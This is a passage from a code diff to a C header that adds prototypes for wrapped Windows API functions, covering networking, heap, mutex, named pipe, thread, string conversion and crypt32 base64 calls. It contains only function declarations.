lpszProxyBypass, DWORD dwFlags); HINTERNET winapi_wininet_InternetConnectW(HINTERNET hInternet, LPCWSTR lpszServerName, INTERNET_PORT nServerPort, LPCWSTR lpszUserName, LPCWSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext); HINTERNET winapi_wininet_HttpOpenRequestW(HINTERNET hConnect, LPCWSTR lpszVerb, LPCWSTR lpszObjectName, LPCWSTR lpszVersion, LPCWSTR lpszReferrer, LPCWSTR* lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext); @@ -138,6 +355,27 @@ BOOL winapi_winhttp_WinHttpQueryHeaders(HINTERNET hRequest, DWORD dwInfoLevel, L BOOL winapi_winhttp_WinHttpReadData(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead); BOOL winapi_winhttp_WinHttpQueryOption(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, LPDWORD lpdwBufferLength); BOOL winapi_winhttp_WinHttpCrackUrl(LPCWSTR pwszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTS lpUrlComponents); +BOOL winapi_winhttp_WinHttpCloseHandle(HINTERNET hInternet); +BOOL winapi_winhttp_WinHttpWriteData(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten); +LPVOID winapi_kernel32_HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); +HLOCAL winapi_kernel32_LocalAlloc(UINT uFlags, SIZE_T uBytes); +VOID winapi_kernel32_GetSystemTime(LPSYSTEMTIME lpSystemTime); +BOOL winapi_kernel32_SystemTimeToFileTime(const SYSTEMTIME* lpSystemTime, LPFILETIME lpFileTime); +int winapi_kernel32_MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar); +int winapi_kernel32_WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar); +BOOL winapi_kernel32_PeekNamedPipe(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage); +BOOL winapi_kernel32_SetNamedPipeHandleState(HANDLE hNamedPipe, LPDWORD lpMode, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout); +BOOL winapi_kernel32_ReleaseMutex(HANDLE hMutex); +HANDLE winapi_kernel32_CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName); +HANDLE winapi_kernel32_CreateMutexW(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCWSTR lpName); +BOOL winapi_kernel32_TerminateThread(HANDLE hThread, DWORD dwExitCode); +int winapi_kernel32_lstrcmpW(LPCWSTR lpString1, LPCWSTR lpString2); +HWINSTA winapi_user32_GetProcessWindowStation(VOID); +int winapi_ws2_32_WSAGetLastError(VOID); +char* winapi_ws2_32_inet_ntoa(struct in_addr in); +BOOL winapi_wininet_HttpQueryInfoA(HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex); +BOOL winapi_crypt32_CryptBinaryToStringA(const BYTE* pbBinary, DWORD cbBinary, DWORD dwFlags, LPSTR pszString, DWORD* pcchString); +BOOL winapi_crypt32_CryptStringToBinaryA(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE* pbBinary, DWORD* pcbBinary, DWORD* pdwSkip, DWORD* pdwFlags); #endif